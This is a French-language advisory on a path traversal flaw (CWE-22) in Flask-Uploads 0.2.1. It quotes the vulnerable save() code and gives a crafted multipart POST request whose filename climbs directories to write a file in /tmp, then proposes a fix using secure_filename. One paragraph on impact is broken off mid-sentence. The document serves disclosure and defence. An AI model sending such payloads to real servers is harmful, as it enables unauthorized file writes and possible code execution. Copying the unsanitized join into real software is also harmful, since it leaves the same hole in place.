
Démonstration de CWE-22 Path Traversal dans Flask-Uploads 0.2.1. À des fins éducatives et de recherche en sécurité uniquement. Testé sur Python 3.11.
Une vulnérabilité critique de traversée de chemin existe dans Flask-Uploads version 0.2.1. La bibliothèque ne parvient pas à assainir correctement les noms de fichiers téléversés avant de les enregistrer sur le système de fichiers.
Plus précisément, la méthode save() dans flask_uploads.py concatène directement le chemin de destination du téléversement avec le nom de fichier fourni par l'utilisateur à l'aide de os.path.join(). Cela permet à un attaquant d'inclure des séquences de traversée de répertoire (par exemple ../../) dans le nom de fichier, lui permettant ainsi d'écrire des fichiers à des emplacements arbitraires sur le système de fichiers du serveur.
Fichier: flask_uploads.py (ligne 132 dans v0.2.1)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
L'application s'appuie sur le développeur pour assainir le nom de fichier, mais la documentation de la bibliothèque sous-entend qu'elle gère les téléversements de fichiers de manière sécurisée. Par défaut, si un développeur transmet un nom de fichier brut provenant d'une requête, cela conduit à une vulnérabilité.
ssh_host_key, fichiers de configuration)..php, .py) dans un répertoire exécuté par le serveur web (comme cgi-bin ou un dossier statique connu), un attaquant peut exécuter des commandes arbitraires sur le serveur.Un attaquant peut exploiter cette vulnérabilité en envoyant une requête POST avec un nom de fichier forgé :
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
Si le serveur utilise Flask-Uploads pour enregistrer ce fichier, il sera écrit dans /tmp/pwned.txt au lieu du répertoire de téléversement prévu.
La bibliothèque devrait vérifier que le chemin concaténé se trouve bien dans le répertoire prévu à l'aide de os.path.abspath et startswith, ou toujours utiliser une fonction d'assainissement comme werkzeug.utils.secure_filename.
Correctif recommandé:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)